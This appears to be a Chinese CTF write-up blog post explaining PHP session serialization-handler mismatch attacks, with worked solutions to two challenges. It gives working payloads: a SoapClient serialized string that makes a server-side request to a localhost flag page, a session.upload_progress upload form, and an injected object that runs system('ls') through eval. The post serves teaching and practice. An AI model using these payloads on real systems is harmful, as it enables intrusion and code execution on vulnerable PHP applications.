Session会话之序列化

Session序列化攻击

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

php有三种session存储处理引擎,参考lemon师傅的表:

img

下面根据代码,来看一下session的实际情况。

<?php
	ini_set("session.serialize_handler", "php");
	//ini_set("session.serialize_handler", "php_serialize");
	//ini_set("session.serialize_handler", "php_binary");
	session_start();
	$_SESSION['test'] = $_GET['a'];

根据不同的引擎来取消上面相应的注释。这里通过将参数a的值传入session,下面看一下session的实际存储内容

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。

例题---bestphp's revenge

题目给了源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

这里只需要关注call_user_func这个回调函数。 call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。 例如

<?php
class myclass{
    static function say_hello(){
        echo "hello!";
    }
}
$classname = "myclass";
call_user_func(array($classname,'say_hello'));

结果就会调用类myclass中的say_hello方法,输出hello!。 还有一个flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

首先想到的是需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

  • PHP中SESSION反序列化机制

可以参考乘物游心师傅的文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/ 在寻找可以接收数组并且能够SSRF的函数时,题目给了hint:反序列化。 题目中并没有反序列化函数,由于session文件内容的格式不好控制,也无法利用phar://进行反序列化,那么基本就可以确定题目与PHP中SESSION的反序列化机制有关。 我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。 在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

session.serialize_handler存在以下几种

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。 php_binary引擎格式

<0x04>names:5:"Smi1e";

php引擎格式

name|s:5:"Smi1e";

php_searialize引擎格式

a:1:{s:4:"name";s:5:"Smi1e";}

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。 例如传入$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}'; 序列化引擎使用的是php_serialize,那么储存的session文件为

a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}

而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"当作键名,而把O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。

  • 寻找可以SSRF的类

题目中的源码并没有类,因此只能去利用php的原生类。 在l3m0n师傅的文章中找到可以利用php原生类SoapClient中的__call方法进行SSRF。 原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0 那么本题的思路就清晰了。 利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可。

  • 解题

构造SSRF的Soap类的序列化字符串

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

本地生成payload:|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 覆盖序列化引擎并将构造的Soap类序列化字符串写入session文件。

此时session_start()序列化使用的是php引擎。接下里我们覆盖变量b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID。

image-20220206165745020

获得的PHPSESSID的SESSION中的flag。

image-20220206165805544

例题[jarvisoj-web]-session

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

看代码前面是ini_set(‘session.serialize_handler’, ‘php’);
肯定要利用这个点。
而我们传递?phpinfo就会出现phpinfo页面
思路是:我们找一个可以利用php_serialize添加session的方法。在通过php的序列化进行解析从而形成漏洞。

这里参考Chybeta师傅的一个姿势:
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。
但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
image-20220206165829565

我们就构造上传页面进行上传

#upload.php
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
#poc.php
<?php
class OowoO
{
    public $mdzz="system('ls');";
}
$obj = new OowoO();
echo serialize($obj);
?>
#O:5:"OowoO":1:{s:4:"mdzz";s:13:"system('ls');";}

payload:为防止转义,在引号前加上
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:13:\"system('ls');\";}

方法:将filename改成payload
image-20220206165845031
失败!可能是禁止用了system函数,我们在phpinfo里面可以看到

image-20220206165954889最后获得flag

参考

https://www.cnblogs.com/hello-py/articles/13502328.html

https://www.cnblogs.com/litlife/p/10748506.html#0x02-php_serialize引擎(反)序列化测试

posted @ 2022-02-06 17:01  kzd的前沿思考  阅读(210)  评论(0编辑  收藏  举报